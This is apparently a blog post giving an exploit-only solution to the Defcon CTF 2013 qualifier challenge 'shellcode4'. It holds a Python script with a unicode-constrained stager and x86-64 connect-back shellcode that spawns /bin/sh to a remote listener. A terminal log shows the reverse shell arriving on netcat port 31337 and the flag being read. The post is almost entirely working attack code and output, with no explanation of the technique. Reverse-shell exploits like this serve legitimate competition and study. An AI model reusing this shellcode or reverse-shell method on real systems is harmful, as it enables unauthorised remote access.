Defcon CTF 2013 Qual - shellcode4 (Exploit only)

2013. 7. 7. 19:09·CTF/2013

Category : Pwnable (\xff\xe4\xcc)


penser


Summary : unicode shellcode, overwrite below byte


Exploit

#!/usr/bin/python


from socket import *

from struct import pack

import time


HOST = "penser.shallweplayaga.me"

PORT = 8273


"""

51 # push %rcx

00 45 00 # align

59 # pop %rcx

00 45 00

52 # push %rdx

00 45 00

58 # pop %rax

00 45 00

32 00 # xor (%rax), %al

50 # push %rax

00 45 00

5a # pop %rdx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 45 00

59 # pop %rcx

00 0a # add    %cl,(%rdx)          

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 45 00

58 # pop %rax

00 45 00

50 # push %rax

00 4b 00 #### will be replaced

"""

stage0 = "\x51\x45\x59\x45\x52\x45\x58\x45\x32\x50\x45\x5a\x45\x59\x45\x59\x45\x59\x45\x59\x0a\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x45\x58\x45\x50\x4b\x00\x00"


shellcode = "\x90"*0x100 +\

"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97" +\

"\x48\xb9\x02\x00\x7a\x69\x00\x00\x00\x00\x51\x48\x89\xe6" +\

"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce" +\

"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f" +\

"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48" +\

"\x89\xe6\x0f\x05"


s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST, PORT))

s.send("\xc3\x02\x00\x00")

time.sleep(0.5)

s.send(stage0+shellcode)

time.sleep(0.5)

s.close()




root@ubuntu:~# ./exploit.py


--------------------------------------------------------------


root@ubuntu:~# nc -lv 31337

Connection from 54.226.204.186 port 31337 [tcp/*] accepted

id

uid=1001(penser) gid=1001(penser) groups=1001(penser)

cat key

The key is: TBDHelloooookdkdkiekdiekdiek 


저작자표시 (새창열림)

'CTF > 2013' 카테고리의 다른 글

Secuinside CTF 2013 Qual - 6. givemeshell (Exploit only)  (0) 2013.07.23
Defcon CTF 2013 Qual chal exploits  (0) 2013.07.07
Defcon CTF 2013 Qual - shellcode3 (Exploit only)  (0) 2013.07.07
Defcon CTF 2013 Qual - shellcode2 (Exploit only)  (0) 2013.07.07
Defcon CTF 2013 Qual - pwnable3 (Exploit only)  (0) 2013.07.07
'CTF/2013' 카테고리의 다른 글
  • Secuinside CTF 2013 Qual - 6. givemeshell (Exploit only)
  • Defcon CTF 2013 Qual chal exploits
  • Defcon CTF 2013 Qual - shellcode3 (Exploit only)
  • Defcon CTF 2013 Qual - shellcode2 (Exploit only)
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    vuln
    HUST2011
    pwnables
    gnuboard
    후기
    POC
    csaw
    csaw ctf
    web
    정보보호올림피아드
    HUST
    power of community
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Defcon CTF 2013 Qual - shellcode4 (Exploit only)
상단으로

티스토리툴바